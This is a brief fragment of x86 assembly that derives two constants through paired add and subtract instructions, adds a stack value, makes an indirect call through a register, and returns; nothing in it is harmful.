add eax, 0xd377a3a6
sub eax, 0xd377a3a1
mov ecx, 0x74e11877
sub ecx, 0x74a11877
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret